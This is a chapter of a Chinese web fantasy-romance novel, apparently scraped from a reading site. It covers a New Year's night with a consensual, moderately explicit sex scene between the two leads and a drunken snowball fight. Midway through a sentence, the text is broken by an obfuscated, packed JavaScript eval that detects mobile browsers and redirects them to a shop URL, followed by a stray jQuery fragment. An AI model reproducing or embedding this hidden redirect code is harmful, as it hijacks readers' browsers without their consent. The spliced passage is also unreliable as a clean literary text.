121. 人间至乐

作品:《逐鉴

    元旦这夜。


    鹅毛大雪终于停止。


    一轮明月高悬夜空,照得雪地如一大块明晃晃的镜子,反射的光亮得如同白昼。村民们就着月色与家人在河边散步,有小孩不怕危险地踩上河面冰层,下一秒就被大人拎回来揍一顿。


    宁野和纯狐卿坐在院门外石桌,就这么看着路人们路过。看着看着,纯狐卿不禁幻想以后会不会也有这么个小狐狸跟在自己和宁野身后。


    三岁就学会上树掏鸟蛋。调皮捣蛋却有人族镖师和妖族们宠着。


    她最好天资聪颖些,不然自己教起来费劲。


    也最好像她母亲一样会武功,身手要好,不然遇到事了像他一样可怎么办?


    宁野不知道面前纯狐卿在想些什么,默默心中凄凉地抿一口只有那么一茶杯多的甜酒。


    这还是自己央求好久,纯狐卿才松口去外边给自己买的。


    她扫了眼外边,目光不由自主又倒回来落在纯狐卿脸上。


    银辉反射落在他脸上,勾勒出一层泛着薄光的轮廓。正脸好看,侧脸也好看。从额至下巴尖皆用标尺量过般,揉捏出标准又极具特色的五官,深邃又精致。


    少一分多一分都会破坏这张脸。


    纯狐卿觉察到她在看自己,微微侧过脸,单手撑着下巴。忽然倾身过来,在她脸颊上落下一吻。


    宁野:!?


    她好色看看而已,不是这个意思啊。


    “阿野。”纯狐卿饱含深情喊她名字。


    甚至亲呢地用鼻尖蹭蹭她。


    要不是有村民路过,说不定尾巴已经冒出来在他身后轻轻摇晃了。


    “父亲!那个漂亮哥哥在和姐姐亲嘴!”


    一声童音模模糊糊传来。


    宁野蓦地从美色中惊醒,拉开二人距离。


    “……”纯狐卿重新坐下,狠狠瞪一眼那路过的小孩。


    当父亲的中年男人立马抱上自个那不懂事的小豆丁三步并两步离开。


    纯狐卿冷哼一声。


    沉默片刻。


    他才说:“我们现在是什么关系?”


    宁野正抿酒,闻言差点手抖把只剩个杯底的甜酒撒出去。


    这是要秋后算账还是要名分?


    哪个她都没想好啊!


    纯狐卿眼神略带杀气横来:“你只想白嫖我?”


    白,白嫖?


    他哪学来的词!


    “当然不是。”宁野连忙否认,“给我点时间,我还没想好。”


    “亲了这么多次还没想好?”他明显有点恼,清冽嗓音都提高许多。


    纯狐卿没把自己半颗内丹换她性命之事说给任何人听,生怕她心理负担过重,为了报恩才答应。


    “我……”宁野想说自己从未想过和任何人任何妖成婚,但这个回答明显是死路一条。她转变口风,“算男女朋友?”


    “朋友?”纯狐卿不干了,“你交朋友还带亲嘴的?!”


    “不是,我说的朋友不是那个意思。”


    “那你是什么意思!”


    走远的路人父女听到他们吵架,默默回头看了一眼。


    “父亲,他们亲嘴后怎么吵起来了?”


    “小孩子家家的别问这么多。”


    月色明亮。


    两个吵架的人忽然就贴在一起,走进屋檐下昏暗处。


    唇舌相抵。


    几个月未曾亲密接触,纯狐卿明显主动许多。才亲不到一会他就蹭到她耳边,轻咬她的耳垂,暗示想要。


    湿淋淋的眼眸望着她,像盛透雨水般,随时能泛起涟漪。


    宁野与他对视,他眼中欲望灼热,却带着一丝不安。像是生怕面前的人不是她,而是其他的什么人。


    她想起在魔族那会,纯狐卿剥去指甲那次,好像也有这种不安的情绪。可他掩饰得太好,现在回想起来,他那次应该也是遇到什么,所以才会亲着亲着就要看一眼是不是她。


    确认是她。


    只是她。


    眼眸中的阴霾才会散去,露出汹涌的欲念。


    “我们……慢慢来?”她试探着问。


    纯狐卿读懂她的言下之意,眼中雨雾渐浓,他们绕到后门进了最近处纯狐卿房间。


    暖融融的房间里。


    她利落解下覆盖在他身上的裘衣。


    一咬牙,解开腰带。


    白皙如玉的肌肤在如此昏暗的屋内都微微泛着薄淡的光。


    宁野把他推到床上,却没有剥下他的上衣。


    纯狐卿全程被她引导,脑袋磕在略硬的枕头上,忍不住轻哼。


    “疼吗?”宁野担心自己下手太重,忙伸手去揉他后脑勺。


    指尖穿过柔软银发,又是揉又是捏,舒服得狐耳弹出,尾巴也露出来,缠上她。


    “不要揉了……”他有点心急,吻上她的下巴,“下一步,下一步该怎么做?”


    “……”她就没见过这么主动的。


    宁野封上他的唇,耐心地吻了好一会,觉察到他的变化这才解开最后一道封锁,覆上后缓缓行动。


    她担心他禁欲太久不适应,异常温柔地去吻他耳边。


    从额边到鼻尖,再到下巴和喉结。


    纯狐卿被她按倒时浑身颤抖,忍不住溢出声音。


    “快点……”他嗓音沙哑。


    窗格撒入的月光照在床侧。


    他脸上像擦过浓烈的胭脂,眼尾脸颊烘地发红发烫,甚至鼻尖亦有点红。那双漂亮的异色眼眸,不复清明,朦朦胧胧的像隔着漫山大雾。


    宁野边吻边安抚。


    终于。


    山雾凝成水气。


    他忍不住咬在她手臂上。


    昏昏沉沉间,神智几乎溃散。


    气息弥漫开来,掩去他屋中熏香。


    他失神地半阖眼,第一次体会到如此极致的快乐。


    宁野安抚地吻他。


    缓了好一会,他才松开咬住她的手臂。


    唇与衣物之间清浅银丝拉出。


    他好像听她说了什么,清理干净后她替他盖上被子。


    院中有水声传来。


    纯狐卿浑身发软趴在床边去看,很想问问她。


    能不能再来一次?


    又怕她觉得自己放/荡,硬生生忍住。


    把纯狐卿放倒。


    宁野立刻把灶房里剩下的甜酒伪装成水拿到前院,一边喝酒一边吃菜。


    纯狐卿情意绵绵地望来。


    她面不改色道:“快去睡吧。”


    “那……晚上一起吗?”纯狐卿黏黏糊糊地问。


    “……再过段时间吧。”她怕x尽人亡。


    纯狐卿禁不起逗,一逗就闹着要这要那。


    死狐狸虽然害羞,但学得飞快。


    再过些时日,她估计得去烟花场所进修,学些新花样。


    但依着纯狐卿的性子,似乎不是能太快接受新把式的……保守狐狸?


    宁野被这组合在一块的四个字逗笑。


    纯狐卿被拒绝。


    默默躺回床上。


    再过段时间就过段时间吧。


    反正不急,她伤还没好。


    这边战况结


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725359|129838||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    束,进展良好。


    另一边出门的二人还没回来。


    都快子时,宁野才远远瞧见从远处走回的二人。


    裴司程曜都喝了不少酒,手上还各自挎着带着爆竹春联一类玩意。


    裴司还算有意识,对程曜咕咕哝哝两句像是要吐。


    然后……


    他就真去一旁吐了。


    这是喝了多少?


    程曜没人扶,径直栽倒在雪地中。


    宁野忙放下酒杯,走过去把人从雪地里捞出来。


    “你这是喝了多少?”她拍拍程曜的脸,“醒醒。”


    程曜异常兴奋地笑道:“我没喝多,我想打雪仗!你陪我。”


    “好……”一个字刚说出口。


    雪块立马从旁呼过来。


    吐完清醒些的裴司走回来。


    看到雪地里打成一团的两人,脑壳痛。


    漫天雪点飞舞。


    雪球迎面而来,砸在裴司脸上。


    两人不知道谁发出放肆的笑声。


    已是深夜,四下无人。


    她们的笑声爽朗,在寂静的雪夜里异常清晰。


    纯狐卿半梦半醒间被窗外动静闹醒,披衣起身去看。


    不得了。


    家门口两个醉鬼和一个重伤未愈的打成一团。


    原本平整的雪地被她们又踩又踏,雪球雪片雪雾将三人笼罩其间。


    裴司被砸得满头满脸是雪,那二人还嫌不够,笑闹着把他按进雪地,捞一把雪塞进他的后衣领。


    被冻得一激灵的裴司立时反抗,三人近距离用雪打砸对方。


    “……”


    这三个加起来也快有一百岁。


    怎么还如此幼稚?


    “你们……!”才吐出两个字。


    纯狐卿就被糊了满脸雪团。


    他被按进雪地,后脖领被拉开,塞进来一坨冰凉。


    纯狐卿当即炸毛,加入裴司阵营,对抗两个霸王。


    四人打得难分难解。


    连重新下起小雪也不知道。


    他们浑身冒着热气,脸被冻得通红,双手抓雪就是干。


    其间亦有误伤,高亢的笑声间或夹着骂骂咧咧,飘向远方。


    闹到后半夜。


    四人打雪仗打得精疲力尽,头发都被打湿不说,连身上的雪都融化成水,头发丝湿哒哒地粘在脸上,披头散发。


    裴司没了往日翩翩公子的形象,狼狈地像遭受洗劫般。


    她们望着他笑。


    裴司看眼和自己同样狼狈的纯狐卿,又看了看自己,随即去看那两个呲牙笑得正欢的女子。


    忍不住叹口气,旋即嘴角上扬,无奈地笑了。


    二十多年来,一朝放纵。


    心中畅快。


    却有惆怅。


    他压抑惯了,头一回如此。


    四人闹到半夜才回到院中。


    换衣擦头。


    烛光摇曳,人影隐约倒映在窗纸上。


    弄好一切,四人烛光陆续被吹灭。


    裴司躺在床上,解开包袱,鬼使神差地拿出仙鉴。


    别人可以有快乐的时候。


    他却连开心的片刻都夹杂着浓浓哀愁。


    一如既往。


    黄色镜面照不出任何人影。


    他拿出藏在身上的一小瓶纯狐卿的血,滴入眼中,静静等待那股冰凉的刺痛过去。


    随后,他睁开眼睛。


    黄色镜面隐隐绰绰现出两个人影。


    两个?


    裴司不敢置信地瞪大眼睛。